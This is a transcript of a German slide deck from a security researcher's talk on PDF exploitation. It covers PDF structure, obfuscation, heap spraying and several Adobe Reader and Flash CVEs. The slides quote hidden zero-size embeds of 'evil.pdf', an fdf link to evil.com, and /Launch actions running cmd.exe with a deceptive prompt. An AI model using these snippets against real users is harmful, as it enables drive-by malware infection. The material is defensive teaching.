PDF Exploitation

66
Herzlich Willkommen. Überblick G Data Software AG SecurityLabs Karsten Tellmann, Security Researcher PDF Exploitatio n

description

PDF Exploitation. Herzlich Willkommen. Überblick. G Data Software AG SecurityLabs. Karsten Tellmann, Security Researcher. Gliederung. PDF Überblick PDF im WWW PDF Struktur PDF Exploitation Beispiele. 1. PDF Überblick. 1992: PDF v1.0 wird veröffentlicht - PowerPoint PPT Presentation

Transcript of PDF Exploitation

Page 1: PDF  Exploitation

Herzlich Willkommen.Überblick

G Data Software AGSecurityLabs

Karsten Tellmann,Security Researcher

PDF Exploitation

Page 2: PDF  Exploitation

Gliederung1. PDF Überblick2. PDF im WWW3. PDF Struktur4. PDF Exploitation5. Beispiele

Page 3: PDF  Exploitation

1. PDF Überblick

Page 4: PDF  Exploitation

Portable Document Format - Fakten1992: PDF v1.0 wird veröffentlicht

1993: PDF Spezifikation wird veröffentlicht1993: Adobe Acrobat wird veröffentlicht1999: JavaScript Interpreter kommt hinzu2005: 3D Engine kommt hinzu2007: Flash Support2008: PDF wird zum Standard (ISO 32000-1:2008)

• Über 200.000.000 PDF Dokumente im WWW• Über 1.800 Anbieter von PDF bezogenen

Produkten/Dienstleistungen

Quelle: http://www.adobe.com/pdf

Page 5: PDF  Exploitation

Ausgewählte Features• Video• Audio• XML• U3D• Interaktive Formulare• Dateianhänge• Datenbanken (ADBC)

• Kodierung• Verschlüsselung• Digitale Singaturen• JavaScript• Flash• Dateien ausführen

(cmd.exe)

Digitales eierlegendes Wollmilchdokumentenformat

Page 6: PDF  Exploitation

Warum PDF?

• Weite Verbreitung (-> großes Zielpublikum)• Enormer Funktionsumfang (-> Komplexität vs.

Sicherheit)• Veraltete Versionen (-> Alte Exploits)• Browser Plug-ins (-> Drive-by-Downloads)

Warum ist PDF so interessant für Malwareautore?

Page 7: PDF  Exploitation

Common Vulnerabilities and Exposures (CVE)

2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 20100

20

40

60

80

100

120

140

3 06 5

1016 19

33

45

115

79

Quelle: http://cve.mitre.org

SuchbegriffeAdobe ReaderPDFAdobe Reader + PDF

Page 8: PDF  Exploitation

2. PDF im WWW

Page 9: PDF  Exploitation

Generell (FF 3.6.13, Opera 10.63, IE 8.0)<object data="evil.pdf" type="application/pdf" width="0"

height="0" /><iframe src="evil.pdf" frameborder="0" width="0" height="0"

/><embed src="evil.pdf" width="0" height="0" />

Internet Explorer<object classid="clsid:CA8A9780-280D-11CF-A24D-

444553540000" width="0" height="0"><param name="src" value="evil.pdf" />

</object>

Einbetten in einer Webseite

Page 10: PDF  Exploitation

PluginDetect (Eric Gerds):http://pinlady.net/PluginDetect

• Konfigurierbares JavaScript zur Bestimmung von Browser Plugin Versionen

• Java, QuickTime, DevalVR, Shockwave, Flash, Windows Media Player, Silverlight, VLC Player, Adobe Reader, Generic PDF Reader

Plugin Versionserkennung

Page 11: PDF  Exploitation

PluginDetect Beispiel<html><head><title>PDF Reader Plugin Detection</title><script src="PluginDetector.js"></script><script language="javascript" type="text/javascript"> function check_version(){

adobe = PluginDetect.getVersion("AdobeReader");

version = adobe.split(",").join(".");alert("Adobe Reader Version: "+version);}

</script></head><body onload="check_version()"></body></html>

Page 12: PDF  Exploitation

PluginDetect: Bleeding Life

Beispiel: bleedinglife.txt

Bleeding Life Exploit Kit Version 2: ~400 $

Unterstützte PDF Exploits: • CVE 2008-2992 (util.printf)• CVE 2010-0188 (libtiff)• CVE 2010-1297 (authplay.dll (AVM2))• CVE 2010-2884 (authplay.dll (AVM2))

Page 13: PDF  Exploitation

Browser KontextDas Sicherheits-Management des Adobe Reader ändert sich im Browser Kontext:• Keine Warnmeldungen wenn das PDF mit Webseiten

interagieren will (zB.: GoToR)• Parameter können via GET an das Reader Plug-in übergeben werden: http://site.org/file.pdf#page=23 http://site.org.file.pdf#fdf=http://evil.com/modify.fdf

Quelle: Malicious origami in PDF

Page 14: PDF  Exploitation

3. PDF Struktur

Page 15: PDF  Exploitation

Basis DatentypenTyp Wert

Boolean true, falseNumeric 42, +23, -13, 3.1415, -2,718String (literal, oktal, hex) (foo), (/146/157/157), <666f6f> Name /varnameArray [42, (/146/157/157), /Name,

<666f6f>]Dictionary << /key1 (value) key2 <666f6f>

>>Stream <<>>stream … endstreamNull null

Page 16: PDF  Exploitation

PDF Streams• Einbetten von kodiertem Inhalt (zB.: .jpg, .png)• Kodieren von beliebigem Inhalt (zB.: JavaScript)• Filter können beliebig verkettet werden

Liste von unterstützten Filtern:• ASCII85Decode• ASCIIHexDecode• FlateDecode• LZWDecode• RunLengthDecode

• DCTDecode• CCITTFaxDecode• JBIG2Decode• JPXDecode• (U3D)

Page 17: PDF  Exploitation

Objects• Basis Datentypen werden in Objekten organisiert• Objekte haben eine ID und können referenziert

werden1 0 obj<< /Var (Text)>>endobj

1 0 obj<< /Var 2 0 R>>Endobj

2 0 obj (Text)endobj

Äquivalent

Page 18: PDF  Exploitation

Physikalische StrukturHeader: Version der PDF Spezifikation.Objekte: Beschreiben den Inhalt des

Dokuments.Cross Reference Table: Gibt an , an

welcher Byte-Position im Dokument welches Objekt steht und in welcher Version es vorliegt.

Trailer: Anzahl der Objekte, spezifiziert das root Element, Position des letzten Cross Reference Table.

Page 19: PDF  Exploitation

Physikalische Struktur

Beispiel: Hello-World.pdf

Page 20: PDF  Exploitation

Logische Struktur

Herzlich Willkommen.

ÜberblickParsing Schritte:• Suche PDF Header innerhalb der ersten 1024 Bytes• Suche Trailer und bestimme root

Objekt und Cross Reference Table (xref)• Bestimme Byte Position vom root

Objekt mittels Eintrag im xref und parse Inhalt.• Folge Referenzen

Page 21: PDF  Exploitation

AktionenPDFs können Aktionen ausführen:• Ausführen von JavaScript• Senden von Formularen, Email• Lokale OS Kommandos ausführen• Externe Ressourcen ansprechen• Abspielen von Musik und Videos• …

Page 22: PDF  Exploitation

TriggerAktionen werden ausgelöst:• Öffnen und schließen des Dokuments• Öffnen und schließen einer Seite• Betreten eines bestimmten Fläche in einer

Seite• Beim parsen eines Objektes• …

Page 23: PDF  Exploitation

Aktionen und Trigger

Beispiel: Triggers.pdf

Page 24: PDF  Exploitation

Reader Toleranz I

Überblick

Reader Software reagiert unterschiedlich auf Formatfehler.

PDF Header Spezifikation: %PDF-<Versions Nr.> steht am Anfang der Datei

Acrobat Reader X:• %PDF- reicht aus• Innerhalb der ersten 1024 Bytes• Vor dem Catalog Objekt

Hybrides Format: PDF/ZIP, PDF/GIF, PDF/HTML,…

Page 25: PDF  Exploitation

Reader Toleranz II

Überblick

Reader Software reagiert unterschiedlich auf Formatfehler.

PDF Spezifikation: • %%EOF steht am Ende der Datei• /Size• /Length

Acrobat Reader X:• komplett egal

Page 26: PDF  Exploitation

Reader Toleranz III

Überblick

Quelle: http://blog.didierstevens.com

Page 27: PDF  Exploitation

Reader Toleranz Beispiel

Überblick

by Julia Wolf, FireEye Malware Intelligence Lab

%PDF-trailer<</Root<</Pages<<>>/OpenAction<</S/JavaScript/JS(app.alert({cMsg:'Stuff Goes Here'});)>>>>>>

Page 28: PDF  Exploitation

PDF Obfuscation I

ÜberblickName Obfuscation• /JavaScript• /#4A#61#76#61#53#63#72#69#70#74Literal String Obfuscation• /JS (app.alert(„Got Ya!“);)• /JS (\141\160\160.\\ alert(„Go\164 Y\141!“);)Hexadecimal String Obfuscation• /JS

<6170702e616c6572742822476f742059612122293b>• /JS <61 70 702e 616c 65 72 74 28 22 476f 74 2059612122293b>

Page 29: PDF  Exploitation

PDF Obfuscation II

Überblick

Encryption (RC4, AES in CBC mode)• Verschlüsselt nur Inhalt von String und Stream

Objekten• Bei leerem Owner Passwort, wird mit einem 32Byte Standardpasswort entschlüsselt (außer AES256).

<28BF4E5E4E758A4164004E56FFFa01082E2E00B6D0683E802F0CA9FE6453697A>

=> Keine Benutzerinteraktion nötig!

Stream Objekte• Alles kann Inhalt eines Stream Objekts sein• Verketten von beliebig vielen Filtern: /Filter [/ASCIIHexDecode /FlateDecode /JBIG2Decode]

Page 30: PDF  Exploitation

PDF Obfuscation Beispiel

ÜberblickBeispiel: CVE-2009-0658Buffer overflow Schwachstelle in der Verarbeitung vonJBIG2 streams. Anfällig waren Adobe Reader bis Version 9.0

Metasploit Beispiel: msf_jbig2decode.pdf

Page 31: PDF  Exploitation

JavaScript: Anti Emulation

ÜberblickVariablen aus PDF Objekten auslesen:• getPageNthWord• getLinks• getIcon• getPageNumWords• getPageNthWordQuads• documentFileName• getAnnots• this.info.<var>

Page 32: PDF  Exploitation

4. PDF Exploitation

Page 33: PDF  Exploitation

Vorüberlegungen

Überblick1. Szenario (gezielt vs. massenhaft)2. Exploit(s) wählen (Plattform, Software, Version …)3. Schutzmaßnahmen (Obfuscation, Anti Emulation)4. Ziel des Angriffs (Shell, Backdoor, weiterer Schadcode)

Page 34: PDF  Exploitation

Angriffsschritte

Überblick1. Angriff auslösen (/OpenAction, /AA, /A, /Names)2. Speicher vorbereiten (HeapSpray,JITSpray)3. Schwachstelle ausnutzen (Exploit)4. Eigenen Programmcode ausführen (Shellcode)

Page 35: PDF  Exploitation

Multiple Exploits

ÜberblickBestimmen der Plattform und der Version des Acrobat Reader,um eine auf das Zielsystem angepassten Exploit zu benutzen.

Acrobat JavaScript Rückgabewertapp.platform WIN, MAC, UNIXapp.viewerVersion Reader Version (zB.: 10 oder

9.3.3)

Page 36: PDF  Exploitation

JavaScript: Heapspray

Überblick

64K (Nopsled+Shellcode) * 4096 (Blöcke) => 256MB Heap

Page 37: PDF  Exploitation

Heapspray: Speicher

Überblick

Page 38: PDF  Exploitation

5. Beispiel Exploits

Page 39: PDF  Exploitation

Schwachstellenkategorien Funktionsmissbrauch Acrobat JavaScript Methoden Stream Filter (JBIG2,TIFF) 3D Objekte (U3D) Font Parsing Modulen Eingebettete Flash Files

Page 40: PDF  Exploitation

Funktionsmissbrauch: CVE-2010-1240

7 0 obj<< /Type /Action /S /Launch /Win << /F (cmd.exe) /P (/C echo @set LP="\(">s1.bat&&echo @set

RP="\)">>s1.bat&&echo …To view the encrypted message in this PDF document,select 'Do not show this message again'and click the Open button!)>>>>endobj

1. Embedded Datei cmd.exe speichern

2. Ändere Text der MessageBox3. Benutzer führt Datei aus

Page 41: PDF  Exploitation

/Action /Launch%PDF-trailer<</Root<</Pages<<>>/OpenAction 2 0 R>>>>>>2 0 obj<< /Type /Action

/S /Launch/F<<

/DOS (D:\cmd.exe)/Unix (/usr/bin/xcalc)/Mac (/Applications/Calculator.app)

>>>>endobj

Page 42: PDF  Exploitation

JavaScript Methode: CVE-2007-5659

Page 43: PDF  Exploitation

Stream Filter (JBIG2): CVE-2009-0658

Page 44: PDF  Exploitation

Aufbau JBIG2 Stream

Page association size: • 0 : Segment page association = 1 Byte• 1 : Segment page association = 4 Byte

• Setze segment association size = 1• Wähle großen Wert für segment page association (0x00666666 * 5 * 4)• Programmablauf zeigt auf den 1. Teil des Heap Spray und interpretiert den Wert als Pointer (0x341F2500)• Pointer zeigt auf 2. Teil des Heap Sprays mit Nopsled + Shellcode und führt diesen aus

Page 45: PDF  Exploitation

Anmerkungen CVE-2009-0658• Die Schwachstelle ist nicht Adobe Reader spezifisch, da

der Fehler in der Parsing Bibliothek für JBIG2 Streams liegt.

• Die Schwachstelle kann ohne öffnen des PDF ausgelöst

werden:• Windows Indexing Service (Indiziert auch PDF

Inhalte)• Windows Column Handler (Ordner Vorschau,

MetaInfo)

Þ Es wird jedoch kein JavaScript ausgeführt um den

Speicher für den Angriff vorzubereiten.

Page 46: PDF  Exploitation

U3D: CVE-2009-2990

Beispiel Java Script: U3D CLODProgressiveMesh-Continuation Split Position Index arbitrary dereference

Page 47: PDF  Exploitation

U3D: CVE-2009-2990

Fehlende Validierung des Split Position IndexIm Resolution Update desCLOD Progressive Mesh Continuation Block

Page 48: PDF  Exploitation

Font Parsing: CVE-2010-2883

Page 49: PDF  Exploitation

CVE-2010-2883 06.09. – Golf Clinic.pdf 07.09. – Zum ersten Mal bei VirusTotal.com

(1/43) 08.09. – Adobe Advisory 08.09. – Initiales Metasploit-Modul 04.10. – Offizieller Adobe-Patch (Regulärer Patch-Zyklus: 12.10.)

Page 50: PDF  Exploitation

Die Schwachstelle Stack based buffer overflow: CoolType.dll Feld in SING (Smart INdependent Glyphlets)

Tabelle von TrueType Fonts uniqueName Spezifikation: (28 byte, 7-bit ASCII, Null Terminiert) Strcat(stack_buf, user_input) => Null Terminierung wird nicht überprüft

Page 51: PDF  Exploitation

Übersicht des Angriffs

Page 52: PDF  Exploitation

HeapSpray

ROP Code

Shellcode: calc.exe

Page 53: PDF  Exploitation

SING Table

Null-Terminierung von uniqueName fehlt!

Bildquelle: Websense Security Labs

Page 54: PDF  Exploitation

DEP & ASLR ROP-Code benutzt Instruktionen aus icucnv36.dll

• icucnv36.dll unterstützt kein ASLR• DEP greift nicht weil Code aus ausführbarem

Speicherbereich benutzt wird ROP-Code schreibt leere Datei iso88591 in das

Verzeichnis vom PDF ROP-Code mapped die Datei in den Speicher:

• Reserviert 0x10000 Byte ausführbaren Speicherbereich ROP-Code kopiert Shellcode in den reservierten

Speicherbereich und führt ihn aus.

Page 55: PDF  Exploitation

Tag Handler: DefineSceneAndFrameLabelData• Vergibt Labels für Szenen/Frames• Tag Data:

LABELDATA Scenes[SceneCount]

enc_uint32 FramesCount

LABELDATA Frames[SceneCount]

enc_uint32 SceneCount

Flash: CVE-2007-0071

Page 56: PDF  Exploitation

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *addressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

Tag Handler (DefineSceneAndFrameLabelID)

Page 57: PDF  Exploitation

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *addressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

SceneCount wird signed interpretiert, obwohl unsigned definiert

Tag Handler (DefineSceneAndFrameLabelID)

Page 58: PDF  Exploitation

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

Setze oberstes Bit:® SceneCount wird negativ interpretiert® großer SceneCount wird nie als Fehler erkannt

Tag Handler (DefineSceneAndFrameLabelID)

Page 59: PDF  Exploitation

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

alloc_mem returned NULL pointer

Tag Handler (DefineSceneAndFrameLabelID)

Page 60: PDF  Exploitation

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

void* alloc_mem(uint32 num_blocks, uint32 blocksize){ if ((uint64)num_blocks*(uint64)blocksize > 0xFFFFFFFF) return NULL; // integer overflow else { // malloc routine }}

Tag Handler (DefineSceneAndFrameLabelID)

Page 61: PDF  Exploitation

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

Keine Prüfung auf NULL pointer

Tag Handler (DefineSceneAndFrameLabelID)

Page 62: PDF  Exploitation

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

for-schleife wird nicht durchlaufen(i=SceneCount < 0)

Tag Handler (DefineSceneAndFrameLabelID)

Page 63: PDF  Exploitation

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

Angreifer kann Adressen umschreiben

Tag Handler (DefineSceneAndFrameLabelID)

Page 64: PDF  Exploitation

Free Tools PDF Tools (Didier Stevens)

http://blog.didierstevens.com/programs/pdf-tools/ Origami Framework (Sogeti ESEC Lab)

http://esec-lab.sogeti.com/dotclear/index.php?pages/Origami

Opaflib (Felipe Andres Manzano)http://feliam.wordpress.com

Pdfxray (Offensive Computing)http://www.offensivecomputing.net/?q=node/1681

PDF Stream Dumperhttp://sandsprite.com/blogs/index.php?uid=7&pid=57

Page 65: PDF  Exploitation

Vorträge/Webseiten PDF Syntax Abuse (Julia Wolf)

http://www.sec-t.org/2010/Agenda.html How to really obfuscate your PDF Malware (Sebastian

Porst)http://storage.zynamics.com/files/blog/pdf_malware.pdf

Malicious origami in PDF (Raynal, Delugre, Aumaitre) http://www.security-labs.org/fred/ WEPAWET (UCSB,Webservice)

http://wepawet.cs.ucsb.edu/ JSUNPACK (Webservice)

http://jsunpack.jeek.org/dec/go Contagio Dump (Mila Parkour, ITW Samples)

http://contagiodump.blogspot.com/

Page 66: PDF  Exploitation

Herzlich Willkommen.Überblick

Vielen DankFragen?